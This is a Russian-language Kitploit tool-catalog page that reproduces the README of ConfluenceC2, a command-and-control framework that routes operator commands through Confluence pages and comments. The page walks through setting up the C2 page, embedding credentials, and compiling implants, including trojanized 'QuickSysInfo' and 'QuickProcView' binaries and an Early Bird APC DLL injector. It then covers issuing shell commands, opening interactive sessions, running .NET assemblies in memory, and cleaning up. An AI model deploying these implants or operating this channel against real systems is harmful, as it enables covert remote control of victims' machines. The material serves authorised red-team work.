Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ConfluenceC2 — Это проект, цель которого — превратить любой другой SaaS-продукт в C2; Confluence — это только начало. | Kitploit
Инструменты/GitHubGitHub/dagowda/confluencec2
Механизмы персистентностиЛатеральное перемещениеСкриптинг и автоматизацияШелл-кодЭксфильтрация данныхПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
132162 дней назадЕщё не проверено
Троян Удаленного Доступа
GitHubdagowda/confluencec2

ConfluenceC2

Это проект, цель которого — превратить любой другой SaaS-продукт в C2; Confluence — это только начало.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Confluence C2

Автор: Dhanush Arvind

image_alt

Предварительные требования

Python 3.8+ с requests:

pip install requests

Аккаунт Confluence Cloud с API-токеном (создать на https://id.atlassian.com/manage-profile/security/api-tokens) или учётные данные Confluence Server

MinGW GCC — любой из вариантов:

  • WSL с x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), или
  • Нативный MinGW-w64, установленный в Windows и добавленный в PATH

Шаг 1: Создайте страницу C2 или создайте её вручную через браузер

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Сохраните Page ID из вывода — он понадобится вам для всего, что описано ниже.

Чтобы использовать собственный заголовок:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

Шаг 2: Настройка вызывающего компонента

Запустите configure.py, чтобы встроить ваши учётные данные Confluence и ID страницы в исходный код вызывающего компонента:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
АргументОбязательныйОписание
--urlДаБазовый URL Confluence
--emailДаEmail учётной записи Confluence
--api-tokenДаAPI-токен Confluence
--page-idДаID страницы из шага 1
--sleepНетИнтервал маяка в миллисекундах (по умолчанию: 10000)
--outputНетКаталог вывода (по умолчанию: build)
--no-wiki-prefixНетПропустить префикс /wiki (для Confluence Server)
--compileНетАвтоматическая компиляция, если gcc есть в PATH

Шаг 3: Компиляция с помощью MinGW

Вариант A: Кросс-компилятор MinGW в WSL (рекомендуется в Windows)

Из PowerShell:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

Замените /mnt/c/path/to/build на фактический путь WSL к каталогу сборки вашего проекта.

Вариант B: нативный MinGW в Windows

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

Вариант C: Автоматическая компиляция через configure.py

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

После ручной компиляции скопируйте бинарные файлы в payloads/:

copy build\*.exe payloads\
copy build\*.dll payloads\

Шаг 4: Выполнение вызывающей стороны

Полезная нагрузка 1 : Автономная

payloads\caller.exe

Полезная нагрузка 2: троянизированный QuickSysInfo

payloads\QuickSysInfo.exe

Полезная нагрузка 3: Early Bird DLL-инъекция

Оба файла должны находиться в одном каталоге:

cd payloads
earlybird_inject.exe

Полезная нагрузка 4: троянизированный QuickProcView

Оба файла должны находиться в одном каталоге:

cd payloads
QuickProcView.exe

Шаг 5: Работа : CLI или веб-интерфейс

Вариант A: CLI-оператор (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

Вариант B: веб-интерфейс (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

Откройте http://127.0.0.1:8443 в браузере.

Шаг 6: Отправка команд

Через CLI: тело страницы

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

Через CLI : Комментарий

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Через веб-интерфейс

Откройте вкладку Console. Выберите режим Page Body или Comment. Введите команду, выберите целевого агента и нажмите Send.

Через браузер (без инструментов)

Перейдите на страницу C2 и оставьте комментарий:

[cmd] whoami

Нацеливание на конкретного агента:

[cmd:90bd7c8a] whoami

Интерактивная оболочка (только CLI)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

Чтение вывода

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

Выполнение .NET-сборки в памяти

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

Шаг 7: Уничтожить вызывающую сторону

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

Шаг 8: Очистка

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

Или через веб-интерфейс: откройте вкладку Cleanup и нажмите кнопку очистки.

Команды вызывающего

Скачать инструмент